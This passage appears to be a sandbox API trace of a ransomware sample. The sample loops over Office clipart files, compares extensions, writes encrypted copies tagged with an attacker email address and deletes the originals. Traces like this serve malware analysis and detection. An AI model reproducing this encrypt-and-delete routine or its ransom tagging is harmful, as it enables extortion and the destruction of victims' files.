	[0263.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63
	[0263.654] lstrlenW (lpString=".zip") returned 4
	[0263.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.654] lstrlenW (lpString=".rar") returned 4
	[0263.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.654] lstrlenW (lpString=".bz2") returned 4
	[0263.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.654] lstrlenW (lpString=".7z") returned 3
	[0263.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63
	[0263.654] lstrlenW (lpString=".dbf") returned 4
	[0263.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63
	[0263.654] lstrlenW (lpString=".1cd") returned 4
	[0263.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63
	[0263.654] lstrlenW (lpString=".jpg") returned 4
	[0263.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.655] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3964) returned 1
	[0263.655] CloseHandle (hObject=0x360) returned 1
	[0263.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20
	[0263.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0263.656] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.656] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.656] GetLastError () returned 0x0
	[0263.656] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xf7c, lpOverlapped=0x0) returned 1
	[0263.849] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xf80, lpOverlapped=0x0) returned 1
	[0263.850] ReadFile (in: hFile=0x360, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.850] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.850] SetEndOfFile (hFile=0x33c) returned 1
	[0263.850] CloseHandle (hObject=0x33c) returned 1
	[0263.851] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.851] SetEndOfFile (hFile=0x360) returned 1
	[0263.853] CloseHandle (hObject=0x360) returned 1
	[0263.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1
	[0263.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63
	[0263.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63
	[0263.858] lstrlenW (lpString=".doc") returned 4
	[0263.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.858] lstrlenW (lpString=".docx") returned 5
	[0263.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.858] lstrlenW (lpString=".pdf") returned 4
	[0263.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.858] lstrlenW (lpString=".xls") returned 4
	[0263.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.858] lstrlenW (lpString=".xlsx") returned 5
	[0263.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.858] lstrlenW (lpString=".ppt") returned 4
	[0263.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63
	[0263.858] lstrlenW (lpString=".zip") returned 4
	[0263.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.859] lstrlenW (lpString=".rar") returned 4
	[0263.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.859] lstrlenW (lpString=".bz2") returned 4
	[0263.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.859] lstrlenW (lpString=".7z") returned 3
	[0263.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63
	[0263.859] lstrlenW (lpString=".dbf") returned 4
	[0263.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63
	[0263.859] lstrlenW (lpString=".1cd") returned 4
	[0263.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63
	[0263.859] lstrlenW (lpString=".jpg") returned 4
	[0263.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.105] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.105] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.106] GetLastError () returned 0x0
	[0264.106] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xf94, lpOverlapped=0x0) returned 1
	[0264.107] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xfa0, lpOverlapped=0x0) returned 1
	[0264.108] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.108] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.108] SetEndOfFile (hFile=0x32c) returned 1
	[0264.108] CloseHandle (hObject=0x32c) returned 1
	[0264.108] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.108] SetEndOfFile (hFile=0x344) returned 1
	[0264.112] CloseHandle (hObject=0x344) returned 1
	[0264.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1
	[0264.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63
	[0264.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63
	[0264.113] lstrlenW (lpString=".doc") returned 4
	[0264.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.113] lstrlenW (lpString=".docx") returned 5
	[0264.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.113] lstrlenW (lpString=".pdf") returned 4
	[0264.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.113] lstrlenW (lpString=".xls") returned 4
	[0264.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.113] lstrlenW (lpString=".xlsx") returned 5
	[0264.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.113] lstrlenW (lpString=".ppt") returned 4
	[0264.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63
	[0264.113] lstrlenW (lpString=".zip") returned 4
	[0264.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.113] lstrlenW (lpString=".rar") returned 4
	[0264.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.113] lstrlenW (lpString=".bz2") returned 4
	[0264.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.113] lstrlenW (lpString=".7z") returned 3
	[0264.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63
	[0264.113] lstrlenW (lpString=".dbf") returned 4
	[0264.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63
	[0264.114] lstrlenW (lpString=".1cd") returned 4
	[0264.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63
	[0264.114] lstrlenW (lpString=".jpg") returned 4
	[0264.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.115] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3764) returned 1
	[0264.115] CloseHandle (hObject=0x344) returned 1
	[0264.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20
	[0264.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.115] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.115] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.116] GetLastError () returned 0x0
	[0264.116] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xeb4, lpOverlapped=0x0) returned 1
	[0264.117] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec0, lpOverlapped=0x0) returned 1
	[0264.118] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.118] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.118] SetEndOfFile (hFile=0x32c) returned 1
	[0264.118] CloseHandle (hObject=0x32c) returned 1
	[0264.118] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.118] SetEndOfFile (hFile=0x344) returned 1
	[0264.120] CloseHandle (hObject=0x344) returned 1
	[0264.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 1
	[0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63
	[0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63
	[0264.121] lstrlenW (lpString=".doc") returned 4
	[0264.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString=".docx") returned 5
	[0264.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.121] lstrlenW (lpString=".pdf") returned 4
	[0264.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString=".xls") returned 4
	[0264.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.121] lstrlenW (lpString=".xlsx") returned 5
	[0264.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.121] lstrlenW (lpString=".ppt") returned 4
	[0264.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63
	[0264.121] lstrlenW (lpString=".zip") returned 4
	[0264.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.121] lstrlenW (lpString=".rar") returned 4
	[0264.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString=".bz2") returned 4
	[0264.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString=".7z") returned 3
	[0264.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63
	[0264.121] lstrlenW (lpString=".dbf") returned 4
	[0264.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63
	[0264.121] lstrlenW (lpString=".1cd") returned 4
	[0264.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63
	[0264.122] lstrlenW (lpString=".jpg") returned 4
	[0264.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.122] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2472) returned 1
	[0264.122] CloseHandle (hObject=0x344) returned 1
	[0264.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20
	[0264.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.123] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.123] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.123] GetLastError () returned 0x0
	[0264.123] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x9a8, lpOverlapped=0x0) returned 1
	[0264.125] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x9b0, lpOverlapped=0x0) returned 1
	[0264.126] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.126] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.126] SetEndOfFile (hFile=0x32c) returned 1
	[0264.126] CloseHandle (hObject=0x32c) returned 1
	[0264.126] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.126] SetEndOfFile (hFile=0x344) returned 1
	[0264.128] CloseHandle (hObject=0x344) returned 1
	[0264.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1
	[0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63
	[0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63
	[0264.129] lstrlenW (lpString=".doc") returned 4
	[0264.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString=".docx") returned 5
	[0264.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0264.129] lstrlenW (lpString=".pdf") returned 4
	[0264.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString=".xls") returned 4
	[0264.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0264.129] lstrlenW (lpString=".xlsx") returned 5
	[0264.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0264.129] lstrlenW (lpString=".ppt") returned 4
	[0264.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63
	[0264.129] lstrlenW (lpString=".zip") returned 4
	[0264.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0264.129] lstrlenW (lpString=".rar") returned 4
	[0264.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString=".bz2") returned 4
	[0264.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString=".7z") returned 3
	[0264.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63
	[0264.129] lstrlenW (lpString=".dbf") returned 4
	[0264.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63
	[0264.129] lstrlenW (lpString=".1cd") returned 4
	[0264.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0264.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63
	[0264.129] lstrlenW (lpString=".jpg") returned 4
	[0264.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0264.130] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2232) returned 1
	[0264.130] CloseHandle (hObject=0x344) returned 1
	[0264.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20
	[0264.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.131] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.131] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.131] GetLastError () returned 0x0
	[0264.131] ReadFile (in: hFile=0x344, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x8b8, lpOverlapped=0x0) returned 1
